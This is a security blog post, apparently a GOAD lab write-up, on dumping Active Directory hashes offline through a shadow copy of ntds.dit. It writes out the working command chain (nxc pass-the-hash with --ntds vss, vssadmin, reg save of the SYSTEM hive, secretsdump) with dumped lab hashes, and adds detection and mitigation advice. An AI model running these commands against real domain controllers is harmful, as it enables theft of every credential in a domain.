--- title: "Offline Domain Dump: Shadow Copies and NTDS.dit" description: "DCSync is the online way to pull hashes — but it needs replication rights. The offline way asks for nothing from the DC: take a shadow copy of C:, copy the NTDS.dit database and SYSTEM hive out, and dump every credential on your own machine with no Domain Controller cooperation." date: 2026-11-06 author: Sevban Dönmez (@jankesec) canonical: https://jankesec.com/posts/shadow-copies-ntds/ --- ## Two ways to empty a Domain Controller Once you are a Domain Admin, there are two ways to get every hash in the domain. **DCSync** asks the DC to replicate — it is online, and it requires the replication right. **NTDS.dit** does not ask at all: you take a snapshot of the C: drive, pull the database file itself, and dump it on your own machine. The offline path matters because it works with just *local admin on the DC* — no `DS-Replication-Get-Changes`, no DCSync, no KDC interaction. The database is just a file sitting in `C:\Windows\NTDS\ntds.dit`, and a **Volume Shadow Copy (VSS)** is the built-in way to read a locked file like that. ## The one-liner: nxc does the whole dance `nxc --ntds vss` automates the shadow copy, the file copy, and the dump in a single command. The result is the same 19 hashes we got from DCSync, but through the database file instead of the replication protocol: ```bash $ nxc smb 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e --ntds vss SMB 192.168.56.10 445 KINGSLANDING [+] sevenkingdoms.local\Administrator (Pwn3d!) SMB 192.168.56.10 445 KINGSLANDING Administrator:500:...:c66d72021a2d4744409969a581a1705e::: SMB 192.168.56.10 445 KINGSLANDING krbtgt:502:...:72765225164f1b6542a3b0464aad363a::: SMB 192.168.56.10 445 KINGSLANDING [+] Dumped 19 NTDS hashes ... ``` The `vss` method is what makes it offline: it creates a shadow copy, reads `ntds.dit` from it, and dumps the hashes locally. ## What actually happens under the hood The one-liner hides three manual steps worth knowing, because when `nxc` is not available or blocked, you do them by hand. Step one is the shadow copy: ```bash $ nxc winrm 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e -x "vssadmin create shadow /for=C:" WINRM [+] Successfully created shadow copy for 'C:\' WINRM Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 ``` That path is a live snapshot of `C:` where the locked `ntds.dit` is now readable. Step two is copying the database and the `SYSTEM` hive out of it, and step three is dumping them offline: ```bash copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit reg save HKLM\SYSTEM C:\temp\system.hive $ impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL ``` `LOCAL` is the key: the last command runs against the files we downloaded, not against the Domain Controller. At that point the DC can be offline, rebooted, or watching — it does not matter. We hold the database. The trade-off is the same as everywhere else. DCSync is quieter on the wire but needs a specific right; the shadow-copy dump needs only local admin but leaves more disk and event activity behind (`vssadmin`/VSS events, a snapshot on the volume).

The offline path: snapshot the volume, pull ntds.dit and the SYSTEM hive, and dump them locally — the Domain Controller is no longer in the loop.

## Detection and the fix **Detection:** Shadow-copy abuse leaves Event `4663` (object access) on `ntds.dit` and VSS operations, plus a new volume snapshot that tools like `vssadmin list shadows` reveal. The tell is a non-backup process touching `ntds.dit` or `vssadmin`/`diskshadow` running on a Domain Controller outside of the backup window. **Control:** Restrict who can create shadow copies and read `ntds.dit` — only the backup service account should hold these. Monitor VSS and `ntds.dit` access events on DCs, and keep the Domain Controller attack surface small so local admin on a DC is already a "game over" condition you detect, not one you allow. ## Summary | Property | DCSync (online) | NTDS.dit (offline) | | --- | --- | --- | | Needs | replication right | local admin on the DC | | Mechanism | DRSUAPI replication | shadow copy → file copy | | DC involvement | responds to each request | none after the copy | | Tool | `secretsdump` / `nxc --ntds drsuapi` | `vssadmin` + `secretsdump -ntds -system LOCAL` / `nxc --ntds vss` | ## Evidence and limits The VSS snapshot (`--ntds vss`) and offline `ntds.dit` + `SYSTEM` extraction were executed against `KINGSLANDING` (`192.168.56.10`) in the isolated GOAD lab. All dumped hashes belong to GOAD's pre-seeded accounts. ## References - **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/) - **The Hacker Recipes, Dumping NTDS:** [thehacker.recipes/ad/movement/credentials/dumping/ntds](https://www.thehacker.recipes/ad/movement/credentials/dumping/ntds) - **HackTricks, Active Directory Methodology:** [hacktricks.wiki](https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html) - **MITRE ATT&CK, NTDS (T1003.003):** [attack.mitre.org/techniques/T1003/003](https://attack.mitre.org/techniques/T1003/003/)